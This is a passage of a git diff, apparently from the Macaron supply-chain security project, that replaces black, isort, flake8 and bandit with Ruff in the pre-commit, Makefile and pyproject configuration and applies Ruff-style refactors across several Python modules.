diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml
index 5f624c4d3..aca831163 100644
--- a/.pre-commit-config.yaml
+++ b/.pre-commit-config.yaml
@@ -23,52 +23,14 @@ repos:
name: Check conventional commit message
stages: [commit-msg]
-# Sort imports.
-- repo: https://github.com/pycqa/isort
- rev: 8.0.1
+# Ruff formats and lints code.
+- repo: https://github.com/astral-sh/ruff-pre-commit
+ rev: v0.15.20
hooks:
- - id: isort
- name: Sort import statements
- args: [--settings-path, pyproject.toml]
- exclude: ^tests/malware_analyzer/pypi/resources/sourcecode_samples.*
-
-# Add Black code formatters.
-- repo: https://github.com/ambv/black
- rev: 26.3.1
- hooks:
- - id: black
- name: Format code
- args: [--config, pyproject.toml, --target-version, py311]
- exclude: ^tests/malware_analyzer/pypi/resources/sourcecode_samples.*
-- repo: https://github.com/asottile/blacken-docs
- rev: 1.20.0
- hooks:
- - id: blacken-docs
- name: Format code in docstrings
- args: [--line-length, '120']
- additional_dependencies: [black==26.3.1]
-
-# Upgrade and rewrite Python idioms.
-- repo: https://github.com/asottile/pyupgrade
- rev: v3.21.2
- hooks:
- - id: pyupgrade
- name: Upgrade code idioms
- files: ^src/macaron/|^tests/
- args: [--py311-plus]
-
-# Similar to pylint, with a few more/different checks. For more available
-# extensions: https://github.com/DmytroLitvinov/awesome-flake8-extensions
-- repo: https://github.com/pycqa/flake8
- rev: 7.3.0
- hooks:
- - id: flake8
- name: Check flake8 issues
- files: ^src/macaron/|^tests/
- types: [text, python]
- additional_dependencies: [flake8-bugbear==25.11.29, flake8-builtins==3.1.0, flake8-comprehensions==3.17.0, flake8-docstrings==1.7.0, flake8-logging==1.8.0, flake8-mutable==1.2.0, flake8-noqa==1.5.0, flake8-print==5.0.0, flake8-pytest-style==2.2.0, flake8-rst-docstrings==0.4.0, pep8-naming==0.15.1]
- exclude: ^tests/malware_analyzer/pypi/resources/sourcecode_samples.*
- args: [--config, .flake8]
+ - id: ruff-format
+ args: [--config, pyproject.toml]
+ - id: ruff-check
+ args: [--config, pyproject.toml, --fix, --unsafe-fixes, --exit-non-zero-on-fix]
# Check GitHub Actions workflow files.
- repo: https://github.com/Mateusz-Grzelinski/actionlint-py
@@ -108,18 +70,6 @@ repos:
exclude: ^tests/malware_analyzer/pypi/resources/sourcecode_samples.*
args: [--show-traceback, --config-file, pyproject.toml]
-# Check for potential security issues.
-- repo: https://github.com/PyCQA/bandit
- rev: 1.9.4
- hooks:
- - id: bandit
- name: Check for security issues
- args: [--configfile, pyproject.toml]
- files: ^src/macaron/|^tests/
- types: [text, python]
- additional_dependencies: ['bandit[toml]']
- exclude: ^tests/malware_analyzer/pypi/resources/sourcecode_samples.*
-
# Enable a whole bunch of useful helper hooks, too.
# See https://pre-commit.com/hooks.html for more hooks.
- repo: https://github.com/pre-commit/pre-commit-hooks
diff --git a/Makefile b/Makefile
index 81d7fbe3c..647e0f1ff 100644
--- a/Makefile
+++ b/Makefile
@@ -313,12 +313,10 @@ audit:
python -m pip_audit --skip-editable --desc on --fix --dry-run --ignore-vuln GHSA-vfmq-68hx-4jfw
# Run some or all checks over the package code base.
-.PHONY: check check-code check-bandit check-flake8 check-lint check-mypy check-go check-actionlint
-check-code: check-bandit check-flake8 check-lint check-mypy check-go check-actionlint
-check-bandit:
- pre-commit run bandit --all-files
-check-flake8:
- pre-commit run flake8 --all-files
+.PHONY: check check-code check-ruff check-lint check-mypy check-go check-actionlint
+check-code: check-ruff check-lint check-mypy check-go check-actionlint
+check-ruff:
+ pre-commit run ruff-check --all-files
check-lint:
pre-commit run pylint --all-files
check-mypy:
diff --git a/pyproject.toml b/pyproject.toml
index 513237f96..1e65ca7a6 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -122,20 +122,6 @@ Documentation = "https://oracle.github.io/macaron/index.html"
Issues = "https://github.com/oracle/macaron/issues"
-# https://bandit.readthedocs.io/en/latest/config.html
-# Skip test B101 because of issue https://github.com/PyCQA/bandit/issues/457
-[tool.bandit]
-tests = []
-skips = ["B101"]
-exclude_dirs = ["tests/malware_analyzer/pypi/resources/sourcecode_samples"]
-
-
-# https://github.com/psf/black#configuration
-[tool.black]
-line-length = 120
-force-exclude = ["tests/malware_analyzer/pypi/resources/sourcecode_samples/"]
-
-
# https://github.com/commitizen-tools/commitizen
# https://commitizen-tools.github.io/commitizen/bump/
[tool.commitizen]
@@ -181,15 +167,6 @@ exclude = [
]
-# https://pycqa.github.io/isort/
-[tool.isort]
-profile = "black"
-multi_line_output = 3
-line_length = 120
-skip_gitignore = true
-filter_files = true
-
-
# https://mypy.readthedocs.io/en/stable/config_file.html#using-a-pyproject-toml
[tool.mypy]
show_error_codes = true
@@ -304,3 +281,75 @@ filterwarnings = [
"ignore::DeprecationWarning:cyclonedx.model.tool",
"error::DeprecationWarning:pkg_resources",
]
+
+
+# https://docs.astral.sh/ruff/formatter/
+# https://docs.astral.sh/ruff/linter/
+[tool.ruff]
+line-length = 120
+
+[tool.ruff.format]
+exclude = [
+ "tests/malware_analyzer/pypi/resources/sourcecode_samples/**/*.py",
+]
+docstring-code-format = true
+docstring-code-line-length = 88
+
+# https://docs.astral.sh/ruff/configuration/
+# https://docs.astral.sh/ruff/rules/
+[tool.ruff.lint]
+exclude = ["docs/*"]
+select = [
+ "A", # flake8-builtins
+ "B", # flake8-bugbear
+ "C4", # flake8-comprehensions
+ "D", # pydocstyle
+ "DOC", # pydoclint
+ "E", # pycodestyle
+ "F", # pyflakes
+ "FURB", # refurb
+ "I", # isort
+ "ICN", # flake8-import-conventions
+ "LOG", # flake8-logging
+ "N", # pep8-naming
+ "PIE", # flake8-pie
+ "PT", # flake8-pytest-style
+ "PYI", # flake8-pyi
+ "RUF", # ruff-specific rules
+ "S", # flake8-bandit
+ "SIM", # flake8-simplify
+ "SLOT", # flake8-slots
+ "T20", # flake8-print
+ "UP", # pyupgrade
+]
+ignore = [
+ "D104", # D104: Missing docstring in public package
+ "D105", # D105: Missing docstring in magic method
+ "D404", # D404: First word of the docstring should not be "This"
+ "E203", # E203: whitespace before ‘,’, ‘;’, or ‘:’ (not Black compliant)
+ "E501", # E501: line too long (managed better by Bugbear's B950)
+ "SIM102", # Use a single `if` statement instead of nested `if` statements
+]
+
+[tool.ruff.lint.flake8-pytest-style]
+fixture-parentheses = true
+
+[tool.ruff.lint.pydocstyle]
+convention = "numpy"
+
+[tool.ruff.lint.per-file-ignores]
+"tests/*" = [
+ "D102", # D102: Missing docstring in public method
+ "D104", # D104: Missing docstring in public package
+ "S101", # S101 Use of `assert` detected
+ "T201", # T201 `print` found
+]
+"tests/malware_analyzer/pypi/resources/sourcecode_samples/**/*" = [
+ "A", # flake8-builtins
+ "D", # pydocstyle
+ "E", # pycodestyle
+ "F", # pyflakes
+ "N", # pep8-naming
+ "S", # flake8-bandit
+ "SIM", # flake8-simplify
+]
diff --git a/scripts/actions/write_job_summary.py b/scripts/actions/write_job_summary.py
index 608786fd9..db86ad1fe 100644
--- a/scripts/actions/write_job_summary.py
+++ b/scripts/actions/write_job_summary.py
@@ -90,7 +90,7 @@ def _write_header(
vsa_path = _env("VSA_PATH", f"{output_dir}/vsa.intoto.jsonl")
policy_succeeded = bool(vsa_path) and Path(vsa_path).is_file()
- _append_line(summary_path, "
Macaron Analysis Results
")
+ _append_line(summary_path, 'Macaron Analysis Results
')
_append_line(summary_path)
if upload_reports:
_append_line(summary_path, "Download reports from this artifact link:")
@@ -157,7 +157,7 @@ def _query_selected_columns(
if not selected:
return [], []
- sql = f"SELECT {', '.join(selected)} FROM {table_name}"
+ sql = f"SELECT {', '.join(selected)} FROM {table_name}" # noqa: S608
if where_clause:
sql = f"{sql} WHERE {where_clause}"
sql = f"{sql} ORDER BY 1"
@@ -373,13 +373,13 @@ def write_compact_gha_vuln_diagnostics(summary_path: Path, columns: list[str], r
_append_line(summary_path)
_append_line(
summary_path,
- "",
+ '',
)
_append_line(summary_path)
_append_line(summary_path, "")
_append_line(summary_path, "Show full findings
")
_append_line(summary_path)
- detail_groups = groups_in_rows if groups_in_rows else ["all_findings"]
+ detail_groups = groups_in_rows or ["all_findings"]
row_counter = 1
for group in detail_groups:
if group_idx is None:
@@ -397,10 +397,7 @@ def write_compact_gha_vuln_diagnostics(summary_path: Path, columns: list[str], r
priority = row[col_index["finding_priority"]]
finding_type = str(row[col_index["finding_type"]])
workflow = str(row[col_index["vulnerable_workflow"]])
- if group == "workflow_security_issue":
- subject = workflow
- else:
- subject = f"{action}@{version}" if version else action
+ subject = workflow if group == "workflow_security_issue" else f"{action}@{version}" if version else action
_append_line(summary_path, f"{row_counter}. **`{subject}`** (`{finding_type}`, priority `{priority}`)")
_append_line(summary_path, f"- Workflow: `{workflow}`")
@@ -498,7 +495,7 @@ def _write_existing_policy_failure_diagnostics(
cols, rows = _query_sql(conn, sql_query)
if cols and rows:
_append_line(summary_path)
- _append_line(summary_path, f"#### Results")
+ _append_line(summary_path, "#### Results")
if policy_name == "check-github-actions":
rendered = write_compact_gha_vuln_diagnostics(summary_path, cols, rows)
else:
@@ -510,7 +507,7 @@ def _write_existing_policy_failure_diagnostics(
_append_line(summary_path, "- Additional check-level details are unavailable for this failure.")
-def main() -> None:
+def _main() -> None:
output_dir = Path(_env("OUTPUT_DIR", "output"))
db_path = Path(_env("DB_PATH", os.path.join(str(output_dir), "macaron.db")))
policy_report = _env("POLICY_REPORT", os.path.join(str(output_dir), "policy_report.json"))
@@ -547,4 +544,4 @@ def main() -> None:
if __name__ == "__main__":
- main()
+ _main()
diff --git a/src/macaron/build_spec_generator/build_spec_generator.py b/src/macaron/build_spec_generator/build_spec_generator.py
index e66be4ac2..e2b431f5b 100644
--- a/src/macaron/build_spec_generator/build_spec_generator.py
+++ b/src/macaron/build_spec_generator/build_spec_generator.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains the functions used for generating build specs from the Macaron database."""
@@ -6,7 +6,7 @@
import json
import logging
import os
-from enum import Enum
+from enum import StrEnum
from packageurl import PackageURL
from sqlalchemy import create_engine
@@ -23,7 +23,7 @@
logger: logging.Logger = logging.getLogger(__name__)
-class BuildSpecFormat(str, Enum):
+class BuildSpecFormat(StrEnum):
"""The build spec formats that we support."""
REPRODUCIBLE_CENTRAL = "rc-buildspec"
diff --git a/src/macaron/build_spec_generator/cli_command_parser/__init__.py b/src/macaron/build_spec_generator/cli_command_parser/__init__.py
index 7ce7d8127..03fc36507 100644
--- a/src/macaron/build_spec_generator/cli_command_parser/__init__.py
+++ b/src/macaron/build_spec_generator/cli_command_parser/__init__.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contain the base classes cli command parsers related."""
@@ -7,7 +7,7 @@
from abc import abstractmethod
from collections.abc import Mapping
from dataclasses import dataclass
-from enum import Enum
+from enum import StrEnum
from typing import Any, Generic, Protocol, TypeGuard, TypeVar
@@ -93,7 +93,7 @@ def get_patch_type_str(self) -> str:
raise NotImplementedError()
-class PatchCommandBuildTool(str, Enum):
+class PatchCommandBuildTool(StrEnum):
"""Build tool supported for CLICommand patching."""
MAVEN = "maven"
diff --git a/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_command.py b/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_command.py
index 342811909..78844e77f 100644
--- a/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_command.py
+++ b/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_command.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains the classes that represent components of a Gradle CLI Command."""
@@ -382,4 +382,4 @@ class GradleCLICommand:
def to_cmds(self) -> list[str]:
"""Return the CLI Command as a list of strings."""
- return [self.executable] + self.options.to_option_cmds()
+ return [self.executable, *self.options.to_option_cmds()]
diff --git a/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_parser.py b/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_parser.py
index e2b646c91..025e258c5 100644
--- a/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_parser.py
+++ b/src/macaron/build_spec_generator/cli_command_parser/gradle_cli_parser.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains the Gradle CLI Command parser."""
@@ -58,7 +58,7 @@ def add_to_arg_parser(self, arg_parse: argparse.ArgumentParser) -> None:
if self.short_names:
arg_parse.add_argument(
- *(self.short_names + [self.long_name]),
+ *([*self.short_names, self.long_name]),
**kwargs,
)
else:
@@ -445,7 +445,7 @@ def get_patch_type_str(self) -> str:
class GradleCLICommandParser:
"""A Gradle CLI Command Parser."""
- ACCEPTABLE_EXECUTABLE = {"gradle", "gradlew"}
+ ACCEPTABLE_EXECUTABLE = frozenset(("gradle", "gradlew"))
def __init__(self) -> None:
"""Initialize the instance."""
diff --git a/src/macaron/build_spec_generator/cli_command_parser/maven_cli_command.py b/src/macaron/build_spec_generator/cli_command_parser/maven_cli_command.py
index c6eaed108..261d09793 100644
--- a/src/macaron/build_spec_generator/cli_command_parser/maven_cli_command.py
+++ b/src/macaron/build_spec_generator/cli_command_parser/maven_cli_command.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains the classes that represent components of a Maven CLI Command."""
@@ -318,4 +318,4 @@ class MavenCLICommand:
def to_cmds(self) -> list[str]:
"""Return the CLI Command as a list of strings."""
- return [self.executable] + self.options.to_option_cmds()
+ return [self.executable, *self.options.to_option_cmds()]
diff --git a/src/macaron/build_spec_generator/cli_command_parser/maven_cli_parser.py b/src/macaron/build_spec_generator/cli_command_parser/maven_cli_parser.py
index 62cb66d4f..cb7f91cfd 100644
--- a/src/macaron/build_spec_generator/cli_command_parser/maven_cli_parser.py
+++ b/src/macaron/build_spec_generator/cli_command_parser/maven_cli_parser.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains the Maven CLI Command parser."""
@@ -347,7 +347,7 @@ def get_patch_type_str(self) -> str:
class MavenCLICommandParser:
"""A Maven CLI Command Parser."""
- ACCEPTABLE_EXECUTABLE = {"mvn", "mvnw"}
+ ACCEPTABLE_EXECUTABLE = frozenset(("mvn", "mvnw"))
def __init__(self) -> None:
"""Initialize the instance."""
diff --git a/src/macaron/build_spec_generator/common_spec/core.py b/src/macaron/build_spec_generator/common_spec/core.py
index b5650c008..00d75ff95 100644
--- a/src/macaron/build_spec_generator/common_spec/core.py
+++ b/src/macaron/build_spec_generator/common_spec/core.py
@@ -7,7 +7,7 @@
import pprint
import shlex
from collections.abc import Sequence
-from enum import Enum
+from enum import Enum, StrEnum
from importlib import metadata as importlib_metadata
import sqlalchemy.orm
@@ -47,7 +47,7 @@ class LANGUAGES(Enum):
PYPI = "python"
-class MacaronBuildToolName(str, Enum):
+class MacaronBuildToolName(StrEnum):
"""Represent the name of a build tool that Macaron stores in the database.
This doesn't cover all build tools that Macaron supports, and ONLY includes the ones that we
diff --git a/src/macaron/build_spec_generator/common_spec/jdk_finder.py b/src/macaron/build_spec_generator/common_spec/jdk_finder.py
index 45d5b71dd..a988aa8a6 100644
--- a/src/macaron/build_spec_generator/common_spec/jdk_finder.py
+++ b/src/macaron/build_spec_generator/common_spec/jdk_finder.py
@@ -8,7 +8,7 @@
import tempfile
import urllib.parse
import zipfile
-from enum import Enum
+from enum import Enum, StrEnum
import requests
@@ -19,7 +19,7 @@
logger: logging.Logger = logging.getLogger(__name__)
-class JavaArtifactExt(str, Enum):
+class JavaArtifactExt(StrEnum):
"""The extensions for Java artifacts."""
JAR = ".jar"
@@ -57,8 +57,7 @@ def download_file(url: str, dest: str) -> None:
with open(dest, "wb") as fd:
try:
- for chunk in response.iter_content(chunk_size=128, decode_unicode=False):
- fd.write(chunk)
+ fd.writelines(response.iter_content(chunk_size=128, decode_unicode=False))
except requests.RequestException as error:
response.close()
raise InvalidHTTPResponseError(f"Error while streaming java artifact file from {url}") from error
@@ -87,10 +86,14 @@ def join_remote_maven_repo_url(
Examples
--------
>>> remote_maven_repo = "https://repo1.maven.org/maven2"
- >>> artifact_path = "io/liftwizard/liftwizard-checkstyle/2.1.22/liftwizard-checkstyle-2.1.22.jar"
+ >>> artifact_path = (
+ ... "io/liftwizard/liftwizard-checkstyle/2.1.22/liftwizard-checkstyle-2.1.22.jar"
+ ... )
>>> join_remote_maven_repo_url(remote_maven_repo, artifact_path)
'https://repo1.maven.org/maven2/io/liftwizard/liftwizard-checkstyle/2.1.22/liftwizard-checkstyle-2.1.22.jar'
- >>> join_remote_maven_repo_url(remote_maven_repo, "io/liftwizard/liftwizard-checkstyle/2.1.22/")
+ >>> join_remote_maven_repo_url(
+ ... remote_maven_repo, "io/liftwizard/liftwizard-checkstyle/2.1.22/"
+ ... )
'https://repo1.maven.org/maven2/io/liftwizard/liftwizard-checkstyle/2.1.22/'
>>> join_remote_maven_repo_url(f"{remote_maven_repo}/", artifact_path)
'https://repo1.maven.org/maven2/io/liftwizard/liftwizard-checkstyle/2.1.22/liftwizard-checkstyle-2.1.22.jar'
diff --git a/src/macaron/build_spec_generator/common_spec/maven_spec.py b/src/macaron/build_spec_generator/common_spec/maven_spec.py
index 395de61e8..7f20ce741 100644
--- a/src/macaron/build_spec_generator/common_spec/maven_spec.py
+++ b/src/macaron/build_spec_generator/common_spec/maven_spec.py
@@ -42,10 +42,10 @@ def set_default_build_commands(
"""
match build_cmd_spec["build_tool"]:
case "maven":
- build_cmd_spec["command"] = "mvn clean package".split()
+ build_cmd_spec["command"] = ["mvn", "clean", "package"]
case "gradle":
- build_cmd_spec["command"] = "./gradlew clean assemble publishToMavenLocal".split()
+ build_cmd_spec["command"] = ["./gradlew", "clean", "assemble", "publishToMavenLocal"]
case _:
logger.debug(
"There is no default build command available for the build tools %s.",
diff --git a/src/macaron/build_spec_generator/common_spec/pypi_spec.py b/src/macaron/build_spec_generator/common_spec/pypi_spec.py
index 6b46a237e..d4d5c6c8c 100644
--- a/src/macaron/build_spec_generator/common_spec/pypi_spec.py
+++ b/src/macaron/build_spec_generator/common_spec/pypi_spec.py
@@ -53,18 +53,18 @@ def set_default_build_commands(
"""
match build_cmd_spec["build_tool"]:
case "pip":
- build_cmd_spec["command"] = "python -m build --wheel -n".split()
+ build_cmd_spec["command"] = ["python", "-m", "build", "--wheel", "-n"]
case "poetry":
- build_cmd_spec["command"] = "poetry build".split()
+ build_cmd_spec["command"] = ["poetry", "build"]
case "uv":
- build_cmd_spec["command"] = "uv build".split()
+ build_cmd_spec["command"] = ["uv", "build"]
case "flit":
# We might also want to deal with existence flit.ini, we can do so via
# "python -m flit.tomlify"
- build_cmd_spec["command"] = "flit build".split()
+ build_cmd_spec["command"] = ["flit", "build"]
case "hatch":
- build_cmd_spec["command"] = "hatch build".split()
+ build_cmd_spec["command"] = ["hatch", "build"]
case _:
logger.debug(
"There is no default build command available for the build tools %s.",
@@ -106,7 +106,6 @@ def resolve_fields(self, purl: PackageURL) -> None:
if pypi_package_json is not None:
if pypi_package_json.package_json or pypi_package_json.download(dest=""):
-
# Get the Python constraints from the PyPI JSON response.
json_releases = pypi_package_json.get_releases()
if json_releases:
diff --git a/src/macaron/build_spec_generator/dockerfile/pypi_dockerfile_output.py b/src/macaron/build_spec_generator/dockerfile/pypi_dockerfile_output.py
index f2cfd21db..64c9314f7 100644
--- a/src/macaron/build_spec_generator/dockerfile/pypi_dockerfile_output.py
+++ b/src/macaron/build_spec_generator/dockerfile/pypi_dockerfile_output.py
@@ -124,9 +124,9 @@ def gen_dockerfile(buildspec: BaseBuildSpecDict) -> str:
EOF
# Run the build
- RUN source /deps/bin/activate && /deps/bin/pip install wheel && {modern_build_command
- if version in SpecifierSet(">=3.6")
- else legacy_build_command}
+ RUN source /deps/bin/activate && /deps/bin/pip install wheel && {
+ modern_build_command if version in SpecifierSet(">=3.6") else legacy_build_command
+ }
# Validate script
RUN cat <<'EOF' >/validate
diff --git a/src/macaron/build_spec_generator/macaron_db_extractor.py b/src/macaron/build_spec_generator/macaron_db_extractor.py
index 660dfe208..19e47ee81 100644
--- a/src/macaron/build_spec_generator/macaron_db_extractor.py
+++ b/src/macaron/build_spec_generator/macaron_db_extractor.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains the logic to extract build relation information for a PURL from the Macaron database."""
@@ -137,7 +137,7 @@ def compile_sqlite_select_statement(select_statement: Select) -> str:
dialect=sqlite.dialect(),
compile_kwargs={"literal_binds": True},
)
- return f"\n----- Begin SQLite query \n{str(compiled_sqlite)}\n----- End SQLite query\n"
+ return f"\n----- Begin SQLite query \n{compiled_sqlite!s}\n----- End SQLite query\n"
def get_sql_stmt_latest_component_for_purl(purl: PackageURL) -> Select[tuple[Component]]:
diff --git a/src/macaron/build_spec_generator/reproducible_central/reproducible_central.py b/src/macaron/build_spec_generator/reproducible_central/reproducible_central.py
index 0b6d8f787..3b963c436 100644
--- a/src/macaron/build_spec_generator/reproducible_central/reproducible_central.py
+++ b/src/macaron/build_spec_generator/reproducible_central/reproducible_central.py
@@ -4,7 +4,7 @@
"""This module contains the logic to generate a build spec in the Reproducible Central format."""
import logging
-from enum import Enum
+from enum import StrEnum
import importlib_metadata
@@ -46,7 +46,7 @@
"""
-class ReproducibleCentralBuildTool(str, Enum):
+class ReproducibleCentralBuildTool(StrEnum):
"""Represent the name of the build tool used in the Reproducible Central's Buildspec.
https://github.com/jvm-repo-rebuild/reproducible-central/blob/master/doc/BUILDSPEC.md
@@ -90,7 +90,7 @@ def gen_reproducible_central_build_spec(build_spec: BaseBuildSpecDict) -> str |
for build_command in build_spec["build_commands"]:
command = build_command["command"]
if command and ReproducibleCentralBuildTool.MAVEN.name.lower() == build_command["build_tool"]:
- adapted_build_commands.append(command[:1] + ["-Dmaven.test.skip=true"] + command[1:])
+ adapted_build_commands.append([*command[:1], "-Dmaven.test.skip=true", *command[1:]])
else:
adapted_build_commands.append(command)
diff --git a/src/macaron/code_analyzer/dataflow_analysis/bash.py b/src/macaron/code_analyzer/dataflow_analysis/bash.py
index 7c6f87fac..04b17da18 100644
--- a/src/macaron/code_analyzer/dataflow_analysis/bash.py
+++ b/src/macaron/code_analyzer/dataflow_analysis/bash.py
@@ -623,17 +623,20 @@ def get_stdout_redirects(stmt: bashparser_model.Stmt, context: BashScriptContext
"""Extract the stdout redirects specified on the statement as a set of location expressions."""
redirs: set[facts.Location] = set()
for redir in stmt.get("Redirs", []):
- if redir["Op"] in {
- bashparser_model.RedirOperators.RdrOut.value,
- bashparser_model.RedirOperators.RdrAll.value,
- bashparser_model.RedirOperators.AppAll.value,
- bashparser_model.RedirOperators.AppOut.value,
- }:
- if "Word" in redir:
- redir_word = redir["Word"]
- redir_val = convert_shell_word_to_value(redir_word, context)
- if redir_val is not None:
- redirs.add(facts.Location(context.filesystem.ref, facts.Filesystem(redir_val[0])))
+ if (
+ redir["Op"]
+ in {
+ bashparser_model.RedirOperators.RdrOut.value,
+ bashparser_model.RedirOperators.RdrAll.value,
+ bashparser_model.RedirOperators.AppAll.value,
+ bashparser_model.RedirOperators.AppOut.value,
+ }
+ and "Word" in redir
+ ):
+ redir_word = redir["Word"]
+ redir_val = convert_shell_word_to_value(redir_word, context)
+ if redir_val is not None:
+ redirs.add(facts.Location(context.filesystem.ref, facts.Filesystem(redir_val[0])))
return redirs
@@ -1875,15 +1878,13 @@ def is_simple_var_read(param_exp: bashparser_model.ParamExp) -> bool:
"""Return whether expression is a simple env var read e.g. $ENV_VAR."""
if param_exp.get("Excl", False) or param_exp.get("Length", False) or param_exp.get("Width", False):
return False
- if (
+ return not (
"Index" in param_exp
or "Slice" in param_exp
or "Repl" in param_exp
or "Names" in param_exp
or "Exp" in param_exp
- ):
- return False
- return True
+ )
def parse_env_var_read_word_part(part: bashparser_model.WordPart, allow_dbl_quoted: bool) -> str | None:
diff --git a/src/macaron/code_analyzer/dataflow_analysis/core.py b/src/macaron/code_analyzer/dataflow_analysis/core.py
index 5a33ef56a..2fd1db26e 100644
--- a/src/macaron/code_analyzer/dataflow_analysis/core.py
+++ b/src/macaron/code_analyzer/dataflow_analysis/core.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""Core dataflow analysis framework definitions and algorithm."""
@@ -680,7 +680,7 @@ def identify_interpretations(self, state: State) -> dict[InterpretationKey, Call
def get_alt(index: int) -> Node:
return self.alts[index]
- return {i: functools.partial(get_alt, i) for i in range(0, len(self.alts))}
+ return {i: functools.partial(get_alt, i) for i in range(len(self.alts))}
def get_owned_scopes(context: ContextRef[Context]) -> set[facts.Scope]:
diff --git a/src/macaron/code_analyzer/dataflow_analysis/evaluation.py b/src/macaron/code_analyzer/dataflow_analysis/evaluation.py
index 69d5a022c..1ac62bd5e 100644
--- a/src/macaron/code_analyzer/dataflow_analysis/evaluation.py
+++ b/src/macaron/code_analyzer/dataflow_analysis/evaluation.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""Functions for evaluating and resolving dataflow analysis expressions."""
@@ -382,9 +382,8 @@ def with_bindings(self, bindings: ReadBindings) -> ReadBindings | None:
return bindings
for read, val in bindings.bindings.items():
- if read in self.bindings:
- if self.bindings[read] != val:
- return None
+ if read in self.bindings and self.bindings[read] != val:
+ return None
combined_bindings = frozendict({**self.bindings, **bindings.bindings})
return ReadBindings(combined_bindings)
@@ -766,7 +765,9 @@ def parse_str_expr_split(str_expr: facts.Value, delimiter_char: str, maxsplit: i
)
if len(split_lhs) == 1 and len(split_rhs) == 1:
return [str_expr]
- return (
- split_lhs[:-1] + [facts.BinaryStringOp.get_string_concat(split_lhs[-1], split_rhs[0])] + split_rhs[1:]
- )
+ return [
+ *split_lhs[:-1],
+ facts.BinaryStringOp.get_string_concat(split_lhs[-1], split_rhs[0]),
+ *split_rhs[1:],
+ ]
return [str_expr]
diff --git a/src/macaron/code_analyzer/dataflow_analysis/github.py b/src/macaron/code_analyzer/dataflow_analysis/github.py
index 7ad01ab20..434fb9466 100644
--- a/src/macaron/code_analyzer/dataflow_analysis/github.py
+++ b/src/macaron/code_analyzer/dataflow_analysis/github.py
@@ -549,7 +549,7 @@ def __init__(
self.context = context
self._cfg = core.ControlFlowGraph.create_from_sequence(
- list(filter(core.node_is_not_none, [self.matrix_block, self.env_block] + self.steps + [self.output_block]))
+ list(filter(core.node_is_not_none, [self.matrix_block, self.env_block, *self.steps, self.output_block]))
)
def children(self) -> Iterator[core.Node]:
diff --git a/src/macaron/code_analyzer/dataflow_analysis/printing.py b/src/macaron/code_analyzer/dataflow_analysis/printing.py
index 0ffd61813..8b7400cff 100644
--- a/src/macaron/code_analyzer/dataflow_analysis/printing.py
+++ b/src/macaron/code_analyzer/dataflow_analysis/printing.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""Functions for printing/displaying dataflow analysis nodes in the form of graphviz (dot) output.
@@ -389,8 +389,10 @@ def print_interpretation_node_as_dot_string(
)
+ "\n"
)
- for child_node in node.interpretations.values():
- out.write("n" + str(id(node)) + " -> " + "n" + str(id(child_node)) + ' [label="interpretation"]\n')
+ out.writelines(
+ "n" + str(id(node)) + " -> " + "n" + str(id(child_node)) + ' [label="interpretation"]\n'
+ for child_node in node.interpretations.values()
+ )
for child_node in node.interpretations.values():
print_as_dot_string(child_node, out, include_properties=include_properties, include_states=include_states)
diff --git a/src/macaron/code_analyzer/gha_security_analysis/detect_injection.py b/src/macaron/code_analyzer/gha_security_analysis/detect_injection.py
index 80364ea76..99ed534a4 100644
--- a/src/macaron/code_analyzer/gha_security_analysis/detect_injection.py
+++ b/src/macaron/code_analyzer/gha_security_analysis/detect_injection.py
